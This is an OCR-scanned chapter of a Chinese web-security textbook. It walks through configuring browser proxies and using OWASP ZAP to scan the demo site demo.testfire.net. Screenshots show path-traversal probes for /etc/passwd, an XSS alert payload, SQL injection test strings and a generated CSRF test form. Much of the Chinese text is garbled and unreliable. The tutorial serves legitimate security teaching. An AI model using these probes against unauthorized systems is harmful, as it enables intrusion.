& 18-14 Chrome Bt BfCHESEH

(2) B+ Change proxy settings el fCHE N 18-15 fr s

Network

Google Chrome is using your computer’s system proxy settings to connect to the network.

Change proxy settings...

& 18-15 Chrome & ¥/t 3

(3) PHE“H LAN {# FICHAR 55 457, % A localhost 1E R Hiil 8080 #E Ay 11, BA 5

E i SE G B B, I A 18-16 T,

" Internet =t P X
[EM [=: [BE |[AE 5% (25 (&%

" EIER(LAN)RE

.u, FiEE Internet &8, £F “i#8" . | BHW
BE=SiENERAmEEiE R
& YTVPH M. |
| M VPN(E). .. |
| BE®... |
NEEHARRAMERSSE, ALE “wE” . | 2H (s) ]
Bl (Lan) ig B
LN BETHEIIESEE. ATHSEE, ¢ || BUREEL
| G LEe “wE” Wil
| #@E || WE | A

AaIRE
Eﬂﬁi&ﬁ%%ﬂﬂﬁ-%ﬁﬁﬁﬁ%ﬁﬁi,ﬁ%ﬁéﬂm

VA MR E
U AL E A (S)
Hh bk (R)

AR %8

V1A LAN i FACTR IR & 8RO 2 B AR TR S o veN EE) (X
Huhk-(E): s (m: 6080

localhost

7T

R F A R RE A AR 553 (B)

W || W

& 18-16 Chrome B¢ & 1t 3
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3. 1F Windows R 41 Firefox Y11 fid & fCPR
(1) 1f Firefox B #4E Alt 5, 2 B /s, % £ Tools— Options 47 2, WA 18-17
FIEw o

File

Add-ons  Ctrl+Shift+A
f(- B @ download.cnet.com/Goo Set Up Sync...

SQL Inject Me
Web Developer
Page Info

Options

K 18-17 Firefox 3 H

(2) #H Options X 3G HE AKX K EPE Advanced—Network—>Settings, W& 18-18 s,

Options W — —— — S|
A & T g QpE
General Tabs Search Content Applications Privacy Security Sync | Advanced
General | Data Choices NMkH Update | Certificates |
Connection
Configure how Firefox connects to the Internet II
Cached Web Content
Your web content cache is currently using 2.6 MB of disk space Clear Now
Owverride automatic cache management
Limit cache to 350~ MB of space
Ofiline Web Content and User Data
Your application cache is currently using 0 bytes of disk space Clear Now J
Tell me when a website asks to store data for offline use Exceptions...
The following websites are allowed to store data for offline use:
Remove...
| OK | l Cancel | | Help I

& 18-18 Options X iHHE

(3) #%&#E Manual proxy configuration, W& 18-19 i/~ . £ HTTP Proxy 3 ASHE H i A
localhost, f£ Port 3CAHEHF §ir A 8080, Hiili OK #4 # 5¢ i A GBI ED H

4. 1 Windows K 5ii1) 1E v fic & fCRI

(D £ TE e Ale 5, & Bn K, 85 T H” — “Internet % 101 ” 45 4, 3 i
“Internet &I X35 AE | D6 45 7 2 " DR S, B 5 Ry ol ) s R L A 18-20 Pl s, B Y
“Jay 3 R CLAN) 3 B 70 T AE

(2) #FE“H LAN 8 H A A 55 a8 7. B0 &5 o ik #1158 B S PR S . a0 & 18-21
T
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Connection Settings St . —— |
Configure Proxies to Access the Internet
() No proxy
) Auto-detect proxy settings for this network
©® Usesystemproxysettings
() Manual proxy configuration:
HTTP Proxy: | | Port: | OF "
SSL Proxy: | port: [ o H
EPProxy: | Port: | OF
SDQKSHnst| pnﬁ:L___E;_
SOCKS v4 (@ SOCKS w5 Remote DNS
Mo Proxy for:
lecalhost, 127.0.0.1 n
Example: .mozilla.org, .net.nz, 192.168.1.0/24
™) Automatic proxy configuration URL:
| Redood |

T

&M =2 |4 [mE | ER B8R [55 |

Q ELE Internet 158, 84 “20" [ 'E—Eﬂ” ] |

tESHERERAkERR

i ®
RIS B R, A BEG)
|
u
Pt LB E
L SEFEAENES . 7 TS BEREE L
¢ ATERRE S TS [ ||
B ] (i) | A O

oK [ Cancel ]| Help ] ‘i

& 18-19 Firefox fig &t

Kl 18-20 IE /iM% E

SiER(LAN) R
HHEE
Eﬂﬁiﬁﬁi#ﬂﬁi.ﬁﬁﬁﬁﬁ#ﬂﬁi.ﬁ#mﬁﬂm
Y g RN REER
O A R E B (S)
WitR | |
AEREE
LR LAN FHAHEBFSXEREAH TR S % vPN B
WALE):  |localhost mOM: (8080 || HmO) |
13T At i 8 AL R 5 25 (B)
W i
& 18-21 IE fig it

18.3.2 E{KIEZE

ZAP M ARHEZRAFERH PN E D528 E A dEE HEZR 25 an & 18-22 ik,

18.3.3 HRAPRRT

OWASP ZAP 7 405 Sg BRs | T 5 R AR e #1405 i B %0 26 L 1 4% S %) 46

RAAE I E 18-23 Fras.

(1) st al DLysin) Bra B a4k fn = T8 T 5,
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T R

—_— — — — — —_— —_— e — — e —_——_—

B 18-22 HIKMEZRZEH

-—|—

|

o HpPmdE
Pl Gl 2
—:—-— b 244 T8 i il b :
: * |
| BB AL |
: i

|

| IR S R ;
- i

r— { _________ 1

[ O #s=eiE - owas

HbF W8 EE Tt BS 1A Online Z5EH

(Slandardmode jw) | I Sl 7 @ D@8 OO0 vV =<« roxXEdam o

(@Al s |

¥ [ M hitp:idemo.testiire. net
|| P % GET:defaultaspx
|| P # GET:defaultaspx(conter
| | P % GETfeedbackaspx
L] P # GET:Privacypolicy.aspx(
» 0 R % admin

> 0 m wbank M AR TETT

_Ji57 @uiexstans] = i | i = | X oot | senpt Consoe |

To quickly test an application, enter its URL below and press "Atack’.

eicome 10 tnec (= c

ZAP is an easy lo use integrated penelration testing tool for finding vulnerabilities in web applications.

roxy )

Please be aware that you should only attack applications that you have been specifically been given permission fo test

FRRCE S| 3%

S

» [ P QL Injection (2)
> i’ M Application Error disclosure (2)

* W ™ Directory browsing (2)

* B M Cross Site Scriping (Reflected) (4)

» [l ® Cookie set without HitpOnly flag (55)

|| > ﬂ' F Cross-domain JavaScript source file inclusion
» [ " Password Autocomplete in browser (2)

» [ "~ x-Content-Type-Options header missing (97)
» [ ™ X-Frame-Options header not set (63)

ETA BT EE R SR -

|| P # GET:cgi.exe URL to attack |I'-Hl:+'ﬂderr1n.ie5ﬁre.net.l' | & Seled...
|| P @ GET:survey_guestions. S5 )
. By W Stop
[ | P 4 GET:style.css l - J
[ R~ #GET-disciaimer htm(uri Progress: Altack complete - see the Alers tab for details of any issues found
- i : s [T e
@ Fuzer | 41 | <QHtpSessions | () ZestResuts | (cClients |  G¥webSockets | M AIXSpider | [ ik
2w | Gar | Xed  |euaemReaa]  dEaE | % Soider /* Forced Browse
©e FEREE BET TR
J v @ B8 ©)

ErR L IC R E SR EHE R TS F AR EHR

HRERVIFE

@ p2 p2 U4 R

HESE ) 0 W0 0 $0 0 #o

K&l 18-23 OWASP ZAP ¥ & O

(2) T HAZRE 2858 HZh 4% i .
(3) BB PR AE 8 22 EJ7, s sl s b RIS B

(4) FHBCE SN R AA F 7. ol DL R VB HOE K i 5 H A

(5) FHHATIRINRAEA FI7 . Bon AN A s i TR T 5



SIG18 ZEZIENR T E ZAP 1l 2k
(6) IR AFLNL T T s S TR 19 2 25 B0 I 30 IR 2
EE. ATREH RS i L e,
18.3.4 HEXKIEE

SEHRS AL A A W 18-24 T,
(D) >SS WREA RS20, 2 B E 18-25 s v
H N G HE 75 D0 S 2 R ER A i — K L B A X URL,

OWASP ZAP . - —— . A—y. . — ﬁ

o The current session is not saved. Discard and create new session?

‘0 Fan HEia - OWASP ZAP [ l_ﬁ_] [ B J

e E8 47 RS 18 Online FE)

|

A 18-24 SEHA & 18-25 $RNEEE

(2) WM —“FTH Z3E w2 EE D Z A RT3 0] DU HAT I W
RAT I Z RIS ORAT AT 2300 R 2 3 A 80l .

(3) T H”—>0Options fir 2 T JF Options X i HE , 26 48 A M A€ B0 CGE 3 A b £ € 2
AT . 2 W 18-13.

(4) #EFE“ T H”—=0Options 5% . T H Options X1 HE . £ 4 Connection (% B Timeout
[ [E1) LA K Do 2 A3, A » G Pl 18-26 s

\) Options ——— :
v Options ' - [
Active Scan Input Vectors ™ F:E:T:H = | &l
AJAX Spider - <ol \ K
Anti CSRF Tokens Timeout in seconds: 20
APl .
Applications (/] Single Cookie Request Header
Authentication (Deprecated) “
Breakpoints /F Security Protocols
Certificate 1T F 1UA
@ S5L3 @ TLS 1 @11.81.1 gTLStE
Database
Dynamic SSL Cerificates Use proxy chain
Encode/Decode f _
Extensions (] Use an outgoing proxy server
Forced Browse Address/Domain Name:
BAS
oK | |

K 18-26 iXEEEE

(5) #EFE“ T. H”—=>0Options 1y 2, T HF Options X i HE , £ £ Spider (€ Ht , % B % 15 1)
AR N 18-27 R .

(6) ¥EFE“ T. H.”"—=>0Options iy % . T H Options X35 HE , % £ Forced Browse (5 il 3] %
IEAR n] S A SO ED) NP 18-28 Flros . g il B0 0 A2 — b A B0t D ] S 8 R 6 HH R
Je g | RMBAT ol L5 ] g 5208, Boads & o] DA R 238 D HEAR 48 R BH R R N2 .
5] dan ik s B SRR ST — 2822 1) B O FIAC B S o 3 S8 E U5 nl BE 77 6iff 5 AH OGN R )y 1
JRAF B W PEACHS L PR 4% S hE S .
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R eS|

Connection A = :
Spider J

Database |I-LIiII-IIiI uupulwuu-t | .@L
Dynamic SSL Certificates K
En C““F"DEC" de sl s o e e s e e R e e R B i e B
Extensions ; o e i Woow ey ey Jne el b Yoo | RS o o0 o, B LD AL T DL | BEE ||
Forced Browse | s ensmamEEs
Fuzzer f
Glﬂbaj EIdLIdE L‘IRL Ee"a] |1 | [ I I B | | (eI I | I I B | | [ I I I | | | I O B | | | I I | | [ B | I [ I I B | | { I I I | | { I | |
Hitp Sessions il o 5 10 15 20 2 30 35 40 45 50
Keyboard " || Domains that are always "in scope”
Language ; v
Search /| | Enabled | Regex |Domain  a|RB| Add.

I A :
WebSockets Moy

[« "e——— &

Lok [
Bl 18-27 wREIEH
\) - el
Dynamic SSL Certificates |a Forced Browse @

A ENDHTIEEEE T

e e e [ | S | e e [ e e B
Global Exclude URL (Beta) 0 1 2 3 4 5§ ¢ T 8 9 10 11 12 13 14 15 18 17 18 19 20
Http Sessions )
Language [
Search Add custom Forced Browse file:
Spider i Select File... ]
WebSockets () Force Browse files

FhiE File exensions (separated by )
1R
BT v

EAS 38

18-28 5 il P b8

T HZE ATl AR B R URL S8R, 347 a] 1000 1) 55 IR i
il it ) URL A A A8 28 1 5URE

www. site — example. com/users/calendar. php/user1/20070715

EX A URL . n] GEIR S 7 44 Cuser D) F1 H B (mm/dd/ yyyy) » 20 5 F 5 4 22 58 il
WY 2k, T L2 R i 9 URL .

www. Site — example. com/users/calendar. php/user6/20070716

WS ]l 2, Al DL — 20 H ik
(7) B3 #r7—Scan Policy 752 T I Scan Policy X 3G HE, AN 18-29 i .

18.3.5 T 1ERTE

(1) BRI A o LR R A b R P e e . TP & 4> URL, L fir fy
AL I IR AT — UV R ], AR R SRR 2 A P 2ok A P o R AT
FEA RS S AT —A T B 205 31— 2.

(2) e . fs FME sk 2 fir A7 Rk, € B AR 7 B B XS T AJAX R B e A AR
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) Scan Policy w
S [Scan Polic a
Passive y | Y
1!%&!!% Policy name: Default Policy
B i aiags
EEREe Default Alert Threshold: | Medium i (Default threshold)
A
B Default Attack Strength: Medium | (Default attacks)
Passive Alert Threshold: | egium |) (Pefaultthreshold)
Category | Threshold | Strength |
(EEUrE Default Default
BERiRsR Default Default
i Default Default
poEnli o Default Default
FA Default Default
[ Load Policy ] [ Save Policy ]
Thresholds and strengths can be changed by clicking on them i =

& 18-29 Scan Policy X} i HE

AR, X PP B AJAX Spider 47, a0 18-30 irzs » B & AJAX Spider 1T B 2518
Rz,

| ) ZestResults | 2, Clients | &% WebSockets |[#% Asax spider # %[ £ Access Control |

bize Resp. Header | Size Resp. Body | Highest Alert 1| Mote | T

K 18-30 AJAX Spider

(3) &40 - (12 I AR R B R 5 I ) SO R H 5%

(4) FBhFAH . 4 3 sh 31 4 A 1R B A 1 T 1A

(5) Fhiliak. B2 alF 4R 3 7R AWM AR TR B E 209 R % 2T 50 D
i Y,

(6) 73 Fh ik A7 — T v 113140 09 D HE . A 9 5l B i 35 CR1Z8 236 B B I B A O A 1 %
Ja nl BETE A Z I IIEE) , T HI AR ZAP B9 FEZYIRE . Nmap S FT 6 T H 50k 58 K,
HAH R,

(7) T ZAP 2] LR FIT A 19 15 5K 00 57 (1), 55 R 35 T A 3 28 %504 o] LU iif ZAP
Wit . £33 HTTP.HTTPS,WebSockets and Post {5 & . Kl 18-31 Jifr 7% (4 44 1 2 JFH ke 45
il Wy 1Y

iii-‘}r#

=v Break on all requests - the icon turns red when active
“= Break on all responses - the icon turns red when active
UIl>  Submit and step to the next request or response

> Submit and continue to the next break point

@ Binthe request or response

x. Add a custom HTTP break point

B 18-31 &1l Wy 4% 4
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MK 18-31 1Y Break on all requests 2% Break on all responses, fE Break #£Ti1 - A
s ) B AR AT DA B R PR A 1 . 1 SO W A mT DURR B 08 35 o Sy — SE )
ke EIHUE S

18.4  HahH14h

1 AR R 3k http://demo. testfire. net/YE R SE R Ui ZAP B 3 F14 .

18.4.1 HHEEE

(1) fe AT, = WE 18-13,
(2) EEEFIHIAE L, A 18-32 o,

M+ Hwie EF o1t k& 1R Online #E)
Comime 5 SdMf & & 006 OO0 . § =+«b b

m Safe mode: will not allow you to do anything potentially dangerous
. $he Protected mode: will only allow you to do potentially dangerous things on items in Scope
Standard mode: will allow you to do potentially dangerous things on anything!

& 18-32 HFE
(3) FEEFII NS, W 18-33 T s,

Q Scan Policy,
i ’ =
¥ Scan Policy Scan Policy | Q] -
Client browser -
Information gathering Pollcy. | Default policy |
Injection
Miscellaneous Default Alert Threshold: (Default threshold)
Server security Default Attack Strength: | edium lw| (Default attacks)
Apply | Default | w] ThresholaTo (Al || Rules | Go
[ ﬁ.ppl}r.DeIault Bsh'angth Rules
o I s i) Threshold | Strength |
Client browser Default Default
Information gathering Default Default
Injection Default Default
Miscellaneous Default Default
. Server security Default Default
[
!
|
Thresholds and strengths can be changed by clicking on them [ Cancel ] | OK ]
Al 18-33 I H SRk

18.4.2 HWTE

(1) Fy AFFHE M v g URL, 0 18-34 s .

(2) Hiid; Attack #2410, ZAP ¥ 22 A S CBGX AW ¥ 19 T &7 URL, - FEah 14 .
(3) ZFFFHE 2501 L Inl B 90 o v 8 5 i . = DL 18-34,

(4) i Active Scan #EI ., 1 LLFE R 52 100 %, i 18-35 T,

(5) Hii Spider #EHI ., 0] LFE BN 58 A 100 %, WA 18-36 .
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g2 ZEMRX TR ZAP il

‘Welcome to the OWASP Zed Attack Proxy (ZAP)

| ZAP is an easy 1o use integrated penetration testing tool for finding vulnerabiliies in web applications.
| Please be aware that you should only attack applications that you have been specifically been given permission o test

To quickly test an application, enter its URL below and press "Aftack’.

| URL fo attack:

| hitp:demo.testfire.net
4 Attack B stop
| Progress: Attack complete - see the Alerts tab for details of any issues found

| For a more in depih test you should explore your application using your browser or automated regression lests while proxying through ZAP.

If you are using Firefox 24.0 of later you can use Plug-n-Hack 1o configure your biowser,

M Plug-n-Hack

| Configure your brows er:

| @ Select.. |

Or point your browser at | hitp-Mocalhost 8080Mpnkl

& 18-34 fw AfFXCd Muk # URL

[ = History | & Search {Tl.um | | output | ¥ Break Points Mﬁsmm]}%rmdmﬂ | i PortScan | # Fuzzer | # Fuzzer | [ Params ]gwmsym]@mui

B} MNewScon : Progress: |0 hitpsidemo testire.nct i Il B B o e ] & curentscq

1 | Req. Timestamp | Resp. Timestamp | Method | URL | Code IR
1,164 04/01M15 131310 040115131310 GET htip-idemo testhire.neW. L AL L LI L1 L LI LT 1 IWEB-NF ... 403 H
1,165 040115 13:13:09 D4DIMS 131310 POST hiip:iidemo testfire netfoomment aspx 200 ¢
1,166 040115131310 04015131311 GET hiip:fdemaotestlire neW L L0000 010000 1T 1 Aindows.,.. 403 H
1,167 040115131311 D415 131311 GET hitlp.Wdemo testlire neW J 000 000000000 10 1 leleipass... 403 F
1,168 0401H5 131310 040115 131311 POST hittp:Wdemao testiire net'comment aspx 200 ¢
1,169 0401H5 131311 D40 IM5 131312 GET hitp:demao testiire net™®%5C. %5C %5C_%5C_W5C %HSC_ % 403 H
1170 040IM5 131311 D4DIMS 131312 POST hitp:'demo testiire neticomment aspx 200 ¢
1171 040115131312 040115 131312 GET htip.idemao.testiire. nel™%SC. %5C.. %5C.. %5C. . %5C. %SC.. %.. 403 H
1,172 04015131312 040115131313 GET hiipdemo testlire neltes5C. %5C. %5C. %5C. W5C. %W5C. %... 403 H
1,173 0401H5 131312 040115131313 POST hitp:fdemo testine net'comment aspx 200 0
1,174 0401H5 131313 040115131313 GET hittp:Wdemao testfire net! J_J_J i J fJ 0400 0.5 ) MWEB-INF%... 403 H
1175 040115 131313 D401IM5 131314 GET hittp:Wdemo testfire net! /2104 0 00 AWindows%. .. 403 F
1178 040115 131314 040115 131314 GET htip-demao testhire.net S0 L0 Ld LA 000 letclpasswd 403 H
1177 040115131313 0401115131314 POST hitp-demo testfire net'comment aspx 200 g
1,178 040115131314 04015131315 GET hiip:idemo testiire nell %5C.. %5C. %5C. W5C_W5C_ W5C.... 403 H
1,179 040115131315 04/01M15 131315 GET hiip:fdemotestlire nel %5C. %5C. %5C. WHC_W5C_W5C.._. 403 H
1,180 04M1H5 131315 040115 131316 GET hittp-idema testlire net! %5C.. %5C. %5C. %50 _%EC_%N5C... 403 F

| Alens g B3 5 R

] 18-35 Active Scan £ &

[ History | =, Search

& Mew Scan F'mmas:[u.'rmmmme_nﬁi inm

e pjents | | | Output | 3 Break Points | A Aclive Scan | 3 Spider # ® | /* Forced Browse

& Curent Scans:0 | URIs Found: 69

= PortScan | ¥ Fuzzer | @ Fuzzer | £ Params | <§ Hitp Sessions | oo Zest Resulls | -0 Clients | g%

Procassed

EEE%EEEEESEEEEEEEE

hitp: idema lesifins net

hifp: e fiestfine netistemap. mi

hitg:Mwrwew w i orgMRAImN D TR mEN -strict gid
hipoiwaew w 3_orgl BSEsdhbml

hip: e fes fire netide faul sspx

hitp:Nwww.ibm comideveloperworksidownloadsir/apps can/
hitp:#idemo testfine. netbankioginaspx

hifp:Ademno fesifine. netide taulk aspo oonfent=inside_contact Mm
hip: e tesifine netfde faul sspx Peonient=parsonal him

it Moo lesifine netide faul sspx P oontent=business. him

hitp: Ndemo fesifine. taut aspx?: inside him
hitp:Ademno tesifine netidetnul aspx ¥condeni=personal_deposit him
hitp:¥Fdeme. testfine. netide faulk aspo *oondent=personal_checiing.htm
hitip: e lasifies nelide taul sspo Fcontent=parsonal_loars.Mm
hil: Al lesifine netide faul sepx Peonent=parsonal_sards him

Merls M4 B3 U5 @y

18-36  Spider #LM F
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(6) EPEEMR7LEI R, o] LLFE BT 140 B R A el , an & 18-37 P,

[E:'IE I@‘m Txﬁ,ﬁ W N EzhiiE T*Spider T}*Fu-rceclﬂmwse T-‘Fuzzer Tﬁﬁﬁ Tﬁ—HﬂPSEEEiMS m

v (@ LR WO

> [i M Cross Site Scripting (Reflected) (4)
> (@ ™ SQL Injection (2)

> Ii' [ Application Error disclosure (2)

. [i' i Directory browsing (2)

» [ ™ Cookie setwithout HttpOnly flag (55)
- Ii' i Cross-domain JavaScript source file inclusion H
> Iﬁ' U Password Autocomplete in browser (2)

> [ ™ X-Content-Type-Options header missing (93)
> Ii' [ X-Frame-Options header not set (63)

MRS ETHIRERTR-.
R FANAE RN R BUEX TR S Feh EmEIR -

TR RN T R RER EER

A 18-37 “ER7ET R (HMEHR)

(7) Wik —A i nl LLEZ) 5 HE . & 18-38 Jilfzs i XSS I i i3k . 3 B nl DIAR
5 F sh Ko A 2% TR AE &4~ ik T,

it iR §8 o7 RS T8 Online #RE)

(Standardmode ) | 1B M 5 % 2 EE8 OE@D Y =+« roxXEdaE ©

[@mal o |

A Edit Alert

v@® miks
¥ [ M nhitp:idemo testhre net

] P ¥ GET default aspx
|j [ @ GET-default. aspx(content)
|| P % GETPrivacypolicy.aspx(sec template)

» | M % bank

| P % GETfeedback aspx

|| P % GET:cgi.exe

|j Y ¥ GET:survey_questions.aspx

| P % GET:style.css

|j @ GET-disclaimer htmiur)

|| M % POST comment aspx(cfile comments email_addr,name subject su
L] P GET:high_yield_investments.him

|| P % GET default aspx(contentjob)

| ™ GET:bank

Cross Site Scripting (Reflected)

URL: | hitp://demo. testfire.netinotfound. aspx?as pxemrorpath=%3C%2Fb*

1lIRisk [High

Reliability [wmng

* aspxerrorpath

<lb==script=aler(1),</script=<b=

=b==script=aler({1),</script==<b=

Cross-site Scripting (XS3) is an attack technique that involves echoing att:

— e @ s imanae
- -7 L instance can be a standard web browser client, or a browser object embe
— r an RSS reader, or an email client. The code itsalf s usually written in HTM
[ =pe [ Rr [ Xens | PeEiR: | ) i3 | % Seider | AF o i S
@ @ Cross Site ::ur Info:
v (@ ER© f\ URL:
Risk:
| Reliability:
- : ! Parameter: /
E| POST: hitp:idemo testfire net/bankflogin.aspx Altack: Solution:
E‘l POST: hitpoidemo.testiire neticomment aspx Evidence: 1
" fi R SOL Injection (2) H CWE Ia Phase: Armltguure and Design _
Use avetted library or ramework that does not allow this weaknessto o
» [ ™ Application Error disclosure (2) WASC Id: avoid.
- ﬁﬂnirednw mwsing (2} w: = M = are . 5= PET— Pa— " . v
> FU Cookie set without HitpOnly flag (55 "
ﬁ_ ] ) 'yflag ( ]_ ) Cross-site]l [E‘—ﬁ][ﬂ#]
> ﬁ' I Cross-domain JavaScript source file inclusion beowaer
==

Pl 18-38 XSS s il il ik

K 18-39 Jirzs /& SQL v A ila i K F B nl IR 48 T sh ke & 25 R A5 plo s > e 70
(8) FTIFFA9m (19 3k i v] LAFE B 3 19 B A3 35K . B 18-40 Jfrzs .



SLIG18 ZEZiENMIX T A ZAP )l 4k <07/

Risk | High N
||[confidence: | Medium v

Parameter. rpassw u

Evidence:

CWE Id: 89 5

WASC Id: | 19 |5

Description:

SQL injection may be possible

Other Info:

The page resulis were successfully manipulated using the
boolean conditions [ZAP* AND "“1'="1" -] and [ZAP* OR "1'="1"—]
The parameter value being modified was NOT stripped from the v

Solution:

Do not trust client side input, even if there is client side validation  *
in place. /
In ganaral typa check all data on 1he sewer sn:l& v ]

Bl 18-39 SQL A I ifF i 1

PTG |Header Test |w] [Bogy. Text || (5] O]
¥ @ Misites * | [GET http://demo.testfire.net/Copy%28(2)¥26cf%20search.aspx HTTP/1.1
i : . . LASpN .
= Flhln:ﬂdernu testfire net ~ |User-Agent: Mozilla/a.@ (compatible; MSIE 6.8; Windows NT 5.8;)
[ GET:Copy (3) of comment aspx Pragma: no-cache
T M GET-Copy (2) of comment aspx Cache-Control: mo-cache
" M GETCopy of comment aspx Content-Length: @

Cookie: ASP.MET_Sessionld=pj22dfjutgSspejmarbydras
Host: demo.testfire.net

| MGET Cnpy (3) of search.aspx

I
Ll FH.';ET Cnp:.' of search.aspx .
| P GET:Copy (3) of survey_guestions.aspy
_“ i GET:Copy (2) of survey_guestions.aspx
| ™ GET:Copy of survey_guesfions.aspx 1
| P GET.Copy (3) of feedback aspx
" W GET.Copy (2) of feedback aspx
" P GET:Copy of feedback aspx
| P GET.Copy (3) of defaull aspx
P GET.Copy (2) of defaull.aspx
. |_'] P Copy of bank
_“ P GET:Copy of default aspx
| I GET:Copy (3) of Privacypolicy.aspx
" P GET:Copy (2) of Privacypolicy aspx
" M GET-Copy of Privacypolicy aspx
| ™ @ GETrobols bt
| M @ GETsilemap.zmi
| M W GET Privacypolicy aspy(sec lemplate ) T

18-40 K% W T A i K

18.4.3 #H—F AW

$2 1 k] LI 3 Forced Browse #5101+~ 40 252 6F () il 17 47 5% il 0] ¥ .
T B (g k) A I D0 YR B T T G I . L T DA YR 2% T JF http://demo.
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testfire. net/ . 4 HE 7E ¥l i 91 £ B % £ demo. testfire. net: 80,28 J5 M List B £ — 1 ¢
{4, ity Start Force Browse &8 H 4 . A0 & 18-41 iy 7s

| = History | © search | F aierts | | Output | 3 Break Points | ) Active Scan | 3 Spider | /% ForcedBrowse s & | PortScan

Site:| demo testfire.net80 |®List| directory-list1.0.0¢ [w] [ 11 W | 0%

Req. Timestamp | Resp. Timestamp | Method |URL

Alerts M4 (W3 U5 4

Kl 18-41 Forced Browse Ik

MAEH 0B o A B BB 3 oK, IF £ 8 Generate anti CSRF test FORM, {1 & 18-42
FIE 7

M GET:Copy (3) of Pri.v:al:ypul?cy.aspx A POST http://demo.testfire.
P GET:Copy of Privacypolicy.aspx Pragma: no-cache

[ % GETrobots.td Cache-Control: no-cache
% GET:sitemapxml Content-Type: application/|

Content-Length: 78

M % GET Privacypolicy.aspx(sectemplate) Host: demo.testfire.net

M GET.Privacypolicy.aspx(sec,sleep 5s template) N
¥ GET:Privacypolicy - Copy.aspx |
P GETPrivacypolicy - Copy (2).aspx
i GET Privacypolicy - Copy (3).aspx :
P GET Privacypolicybackup.aspx |]
M % bank
[ & GET.defaultaspx J cfile=comments.txtiname=+%
M & GET.default.aspx(content)
[ % GET feedback.aspx

M % GET:survey_guestions.aspx
v % GET.style.css

M % GET:search.asp(ttSearch)
& GET:disclaimer.htm(url)

M & GET high_yield_investments.htm Aftack >
& GET retirement htm Delete

v # GET.inside_points_of_interest htm i b et
| | ™ % GET:servererror.aspx(aspxerrorpath) Flag as Context

B= History | G4 Search | ¥ Alerts | || Output | § Fun application [/ Forced B F
[E‘ = UTU‘ - TF . TL' s ﬁ Exclude from Context £ Foscad Bmese

Host | demodtestirenet [w) b (] (] [ Resend. I———

Port MNew A_lert._._

Show in History tab
Open URL in Browser
Copy URLSs to clipboard

v
FEOEEOOEEEOEEECREOEOOLEEEOEE0E

v

y¥yYvy

Exclude from »
Break .

Alerts for this node >
Generate anti CSRF test FORM

Invoke with script... >
Add to Zest Script >

Record Zest client script from node...

18-42 Generate anti CSRF test FORM
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BT — B kT K CSRF proof of concept. B4 POST iR S8 ME., Mk
Hnl DU L D iR P 18-43 R .

@ http://localhost:8080/OTHER/acsrf/other/genfornt 0 v B G

Edit View Favorites Tools Help

5% B Suggested Sites v €] Web Slice Gallery ¥ g, SoftStub 3] index_new
http://demo.testfire.net/comment.aspx

cfile comments txt

comments

email addr|ZAP

name

subject <script>alert("hello")</script>

submuit Submit

Submit

& 18-43 fhi&iER
Xt T Fo A3 0K ] DL SR JE 3R Ak L A 18-44 Fif i

U GET:Copy (3) of Privacypolicy aspx 4
W GET:Copy (2) of Privacypolicy aspx

[ GET:Copy of Privacypolicy.aspx

U W GET.robots td

fu ¥ GET sitemapxml

M ¥ GET Privacypolicy. aspx(sec template)

M GET-Privacypolicy.aspx(sec,sleep 5s template) .
[ GET:Privacypolicy - Copy.aspx

[ GET-Privacypolicy - Copy (2).aspx
U GET:Privacypolicy - Copy (3).aspx
[ GET:Privacypolicybackup.aspx

[ % bank

Include in Context
Flag as Context
a1 Run application
[ # CET disq Exclude from Context
M % POST.co| Resend.. subject, submit)
M % GET-highh NewAlert..

| | ™ % GETretir Show in History tab
] ™ #GETinsi{ Open URL in Browser

1: Form-based Auth Login request

EOOEEOEOEEEEDOOOOEOEEOEEEE
vvRAv

Exclude from > g
[ 2 History | © Search | preak.. ) Active Scan | ¥ Spider | /* Force)
Alerts for this node > |
f
Dat [demﬁ Generate anti CSRF fest FORM
P ort Invoke with script... [ 2
Add to Zest Script >

Record Zest client script from node.._.
Compare 2 requests
Compare 2 responses

Monitor clients (3
Include Channel Url in Context »>
Exclude Channel Url from Context [ 2

Refresh Sites tree

Save Raw =

18-44 &%
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18.4.4 HEER
a4 3| T A AR 45 TR L R BRI YR T L A T i I S T I A 18-45 TR

ERAREAETI D T N EEED (%l
@@

» ﬁ P Cross Site Scripting (Reflected) (4)

» [ ™ saL Injection (2)

L [ Application Error disclosure (2)

> [~ Directory browsing (2)

. ﬂ U Cookie set without HitpOnly flag (55)

L m ¥ Cross-domain JavaScript source file inclusion
> ﬁ ¥ Password Autocomplete in browser (2)

» [ P X-Content-Type-Options header missing (98)
» [ M X-Frame-Options header not set (63)

18-45 HE R

1 e A2 I a4 35, B A 4 T A N B I N B R AR D 1B b s )

18.5  Tgld i el

18.5.1 HHEBEE
WA 18, 3. 1 WA A9 T AR 0 G 77 28, 6 3 T 0k 110 00 U 2, o 0 W s i s A
18.5.2 HETEH

(1) J3 3 ZAP.
(2) 1£ Firefox F i ATFFIHE 0 M a7 Enter 58, 40 /& 18-46 T .

Altoro Mutual

\\? @0 demo testfire.net UEve @ 7z

HiE®% | | Getting Started

ELRE

BB S RNAHES AET, EEEEEE N2

-

AltoroMutual g g

f
al

& ONILINE BANKING LOGIN PERSONAL

&l 18-46 7 Firefox H i/ [m] ¥ %4



M ZAP 1Y 5 R A a] DL BRI 55 ) )
wl W 18-47 FF i,

(3) €1y, A5l f, % FE Attack Spider
A i 18-48 o, 8 2 W AT i il A, @A T
BRI 3 KN S , B AE S5 7 AT 58 K .

26 B 32K i P B s B DL€ AT AR PR,
B 18-49 N,

(4 FahEHG . BAE AT DL 3 F1 6 b 5.
P& Attack— Active Scan fy 2 45 F s F14, W
Kl 18-50 s . EshFdmad FE A 18-51 s .

SLIG18 ZEZENMIX T A ZAP )l 4k

File Edit mew Analyse Report Tools Online Help
(Standardmode ) ] L I M8 7 g I A &

| [ @ sites | ./ Scripts |
@ 213

(<} Contexts
v @ M Sites
» || hitp:ffaddons.g-fox.cn
» || P hitp:Nicciv firefoxchina.cn
|| M hitp:Aidemo testfire net
» || H hitp:iidownload. cdn.mozilla net
__| hitp:/Mwwin cisco.com

& 18-47 IDE ki &k

Contexts

v @ M Sites
» || hitp:iladdons.g-fox.cn
» | hitp:ifadu g-fox.cn

» [ M nhttp:ticchvfi

» L Ruhtiplidown| DeIete

& Active Scan._.
3 Spider.._

,_," hitp:/fwwwin_c Include in Context > )" Forced Browse site
Flag as ant_ert » #* Forced Browse directory
Run application » | J* Forced Browse directory (and children)
Exclude from Context > “ Port Scan host
Resend... s AJAX Spider in Scope
New Alert. . 5 AJAX Spider Site
Show in History tab
Open URL in Browser
Copy URLs to clipboard
Exclude from »
Break...
Alerts for this node >
Generate anti CSRF test FORM
Invoke with script. [
Add to Zest Script >
Record Zest client script from node...
Compare £ requests
Compare 2 responses
